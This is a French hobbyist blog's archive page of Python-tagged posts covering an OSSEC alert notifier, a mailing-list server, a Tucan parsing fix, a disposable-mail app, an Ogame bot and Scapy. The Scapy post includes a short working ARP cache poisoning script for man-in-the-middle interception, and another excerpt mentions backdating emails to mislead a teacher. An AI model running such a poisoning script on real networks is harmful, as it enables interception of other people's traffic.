Archives pour l'étiquette python

Intelligence Artificielle : le clavier android

Salut à tous …

Depuis que je joue un peu avec les intelligences artificielles, je m’amuse à regarder les divers éléments du quotidien qui utilisent ou pourraient utiliser des intelligences artificielles … et le clavier android en est un … je ne suis pas sûr de mon approche, mais pour le moment, ça semble fonctionnelle (malgrès un corpus de données très court).

La version courte est disponible sur youtube la version longue/texte est ici.

Continuer la lecture de Intelligence Artificielle : le clavier android

Alerte d’ossec en notification sur le bureau

Aujourd’hui,

Encore un script useless, fait pour passer le temps en cours …

Le but étant d’avoir un IDS ossec sur l’ordi local configuré pour détecter et répondre plus ou moins comme il faut aux attaques basiques et SURTOUT rendre compte à l’utilisateur des problèmes rencontrés de façon orienté ‘desktop’.

A l’heure actuelle seul deux systèmes de notifications (officiels) de l’utilisateur existent sur ossec : soit une notification par mail, soit par twitter (qui ne fonctionne plus).
Continuer la lecture de Alerte d’ossec en notification sur le bureau

Petit serveur d’adresse mail de diffusion

Plop à tous … encore un truc useless à partager.

J’ai récemment dû intervenir dans une entreprise qui avait un serveur de mail qui ne supportait pas les listes de diffusion (service de base fournit par yahoo en fait, donc à part forwarder des mails sur une adresse, il est pas possible de faire grand chose).

Ne voulant pas perdre trop de temps à mettre en place des systèmes du genre mailman ou autre, pour créer une vingtaine d’alias pour deux adresses mails (style support@mondomaine.fr qui envoit un mail pour toute la team de support), j’ai décidé de coder un serveur de mail qui ne répondrait qu’à certaines adresses et renverrait le mail sur les adresses configurées pour cette adresse de diffusion.

Ecrire ce genre de truc en python est encore plus rapide que de chercher l’équivalent sur google 😉 d’où ma démarche.
Continuer la lecture de Petit serveur d’adresse mail de diffusion

Téléchargement Direct et Linux (Tucan)

Plop à vous cher visiteur …

Aujourd’hui, petit article pour relancer mon blog … (après un mois et demi d’absence … ), je vais donc parler de direct download et plus précisement d’un logiciel permettant d’automatiser les téléchargements (liste de dl, cracking de captcha, …).

Avec l’arrivé d’Hadopi, il devient intéressant de changer ses habitudes en terme de téléchargement de contenus (légaux bien sûr ;)). Jusque là, j’utilisais JDownloader, qui faisait bien son travail, si ce n’est les ressources consommées par le logiciel (écrit en Java … pas besoin d’un dessin), il avait tout pour plaire :

  • Récupération direct du contenu d’un copié (et collage immédiat dans le logiciel)
  • Cracking de captcha (système maison efficace à 90% voir plus ou moins suivant les hosts)
  • Système de priorité
  • Reprise de téléchargement après extinction, …
  • Mise à jour fréquente

Cela dit, l’interface pouvait devenir très lourd, et l’utilisation sous linux semblait bizarre, déplacement de fenêtres saccadées, lenteur d’affichage (Java …).

Il me fallait donc trouver un soft open-source propre et léger comme seul de vrai libriste savent le faire ;). Au détour de la doc d’ubuntu (c’est le mal, mais bon), j’ai trouvé le soft Tucan, écrit en Python-GTK, pas trop moche et encore à ses débuts, toutes les fonctionnalités de JDownloader n’y sont pas, mais l’essentiel y est :

  • Récupération de liens depuis du code HTML, texte, …
  • Cracking de Captcha (utilisation de Tesseract), crackant même du ReCaptcha (le truc que même un humain doit retaper 3 fois avant de trouver le bon …)
  • Priorité basic
  • Utilisation de Plugins par host (module python à part, super simple à créer/modifier)
  • Code source en GPLv3

Le gros problème : il ne permet pas la reprise d’un téléchargement (genre on arrête le logiciel alors que des téléchargements sont en cours, il reprendra le fichier depuis le début).

Le système de timing est basic : ils utilisent tout le temps un timer de 60 secondes, sans tenir compte du temps fournit par l’host (45sec pour MU, 300 sec pour HF, …).

Par contre, comme c’est du python et open-source, on peut direct taper dans le code source (assez lisible et découpé en pas mal de modules). Donc j’imagine, que ces bugs ou features manquantes arriveront bientôt.

Pour ma part, lors de l’utilisation du parsing html, le parsing étant fait par split, il arrivait que les liens n’était pas les bon, j’ai donc remplacé la chose par un regexp :

Pour ceux ayant ce problème, il faut modifier le fichier « service_manager » à la ligne 105 et remplacer :

         if "http://" in link:
            tmp = link.split("http://").pop()
            if "<" in tmp:
               tmp = tmp.split("<")[0]
            elif " " in tmp:
               tmp = tmp.split(" ")[0]
            elif "[" in tmp:
               tmp = tmp.split("[")[0]
            elif "'" in tmp:
               tmp = tmp.split("'")[0]

par

         clean = re.search("http://([^\"' ]*)",link)
         if clean :
            tmp = clean.group(1)

Et hop, magie magie et plus de junk, c'est beau les regexp quand même ;), les 2 autres problèmes cités plus haut prendront eux plus de temps à corriger, mais l'équipe doit être dessus ...

Donc voilà, si vous cherchez une alternative à JDownloader, Tucan pourrait peut être vous interessez.

monter un serveur PHP en une ligne de commande (ou presque)

Dans le genre « news de webg33k » en voici une …

A la base, je cherchais à utiliser/écrire un serveur http en python (pas mal de classes existent dans le domaine) pour servir une page html bidon après un man in the middle avec redirection dnspoof sur le serveur http en question, au lieu de déployer l’artillerie lourde apache ou nginx.
Continuer la lecture de monter un serveur PHP en une ligne de commande (ou presque)

Créer son propre service de mail jetable avec appengine

Plop à tous
Au détour d’un article de Korben, j’ai découvert les app engine de google, qui permettent de créer des sites/applications web en python et java. Le service est très performant et malgré quelques limites, il permet tout de même un trafic par jour de 1Gb en http et 1Gb en https (avec un certificat valide ;)).

Le gros problème de ce service : la base de données (pas de join et on a seulement droit à : 10368000 requêtes par jour ^^).

L’API fournit, ainsi que l’environnement de développement est simple à maitriser/mettre en oeuvre. Il me fallait donc un projet plus ou moins (f)utile pour utiliser ce service et le connaitre un peu mieux. L’un des services proposés par les appengine de google est la réception de mail en http. Super utile pour créer des adresses mails à la volée, utilisant depuis quelque temps le service de mail jetable de yopmail, j’ai donc tenté de recréer une partie du service proposé par yopmail en python pour les appengine …

Le but de l’appli est très simple, on crée une adresse mail pour 30 minutes (ou plus), on fournit l’adresse mail générée à la place de notre adresse mail courante et on attend le mail. Une fois l’adresse expirée, les mails reçût seront automatiquement droppés.

Pour tester le service : en http et en https, les adresses mails proposées par le service sont du type : pseudo@mail-jetable.appspotmail.com (ok c’est long, mais il faut au moins ça pour combattre le spam ^^).

Le code source étant un peu plus long que mes scripts habituels, j’ai donc ouvert un dépôt SVN (sur google code évidemment ;)) pour publier les sources.

Envoyer des mails dans le passé

Plop à tous …

Aujourd’hui, une astuce de « gros noob », le but est d’envoyer un mail à une date passée ou future, genre pour le rendu d’un devoir à 23h59m59s alors qu’on vient de le terminer à 2h42 du mat, tout en sachant que le prof ne le lira pas avant 7 ou 8 heures du mat’ … le truc totalement useless quoi, mais souvent on perd des points pour des trucs de ce genre, … (quoi ?? ça vous est jamais arrivé ?? bande de lèche-*** ….)
Continuer la lecture de Envoyer des mails dans le passé

Mon apprentissage de python avec Ogame ^^

The kikoolol strike back !! Mon deuxième billets de la soirée …pour pas grand chose en fait.

J’ai voulu apprendre le langage python de façon plutôt ludique en créant un bot qui créer des batiments en boucle pour Ogame … rien d’illégal bien entendu ^^.
Dans le code Python qui va suivre, vous pourrez comprendre (ou pas) comment fonctionne :

  • Les requêtes HTTP en python avec des headers à partir de zéro
  • Les Threads pour les opérations en parallèle
  • Les Semaphores, pour éviter des requêtes en parallèle (pas apprécié par Ogame dans certain cas)

Pour l’utiliser, il suffit ensuite d’ajouter au source qui vont suivre :

og = Ogame()
og.setSessionCookie(
	"le contenu du cookie phpsessid de votre univers",
	"le contenu du cookie prssess de votre univers",
	"le contenu du cookie loginC de votre univers",
	"le parametre de l'url &session=...", 
	"uniXX.ogame.fr"votre#univers
)
Farmer.buildInChainsPlanets(og,["id planete","id planete"],[[4,1,2,4,1,2,4,1,2,4],[4,1,2,4,1,2,4,1,2,4]])

le premier paramètre de buildInChainsPlanets est l’objet og
le second est un tableau de string contenant l’id des planètes à « farmer »
le troisième est un tableau de tableau contenant les séquences des batiments à construire :
1 pour le metal 2 pour le cristal 3 pour le deuterium 4 pour l’electricite.

Et voilà … lorsque vous aurez conquis une planète rajoutez-là au tableau ainsi que la séquence de batiments que vous voulez, puis laissez tourner le script plusieurs jours (faite gaffe avec les sessions qui risque de changer si vous vous reconnectez avec votre navigateur).
Continuer la lecture de Mon apprentissage de python avec Ogame ^^

Scapy pour forger des paquets en python

Bijour à tous …

Aujourd’hui un truc super sympa : scapy, c’est un forgeur de paquet multi protocole (ARP, TCP, UDP, …) qui permet d’envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y’a aussi d’autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et …).

Le truc intéressant, c’est qu’il peut remplacer pas mal d’autres outils (hping, arpspoof, tcpdump, tethereal, …) et tout ça en quelques lignes de python (sale bête).

Pour l’utiliser, il n’y a pas grand chose à faire : apt-get install python-scapy

Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir …).

Par exemple, pour créer un outils d’arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou …) :

#! /usr/bin/env python
from scapy.all import *
import sys
if len(sys.argv) != 3:
        print "Usage: %s ip1 ip2" % sys.argv[0]
        sys.exit(1)

def arppoiso(routeur,pigeon):
        mac = getmacbyip(routeur)
        p = Ether(dst=mac) /ARP(op="is-at",psrc=pigeon, pdst=routeur)
        sendp(p, iface_hint=routeur)

arppoiso(sys.argv[1],sys.argv[2])
arppoiso(sys.argv[2],sys.argv[1])

Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;)).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :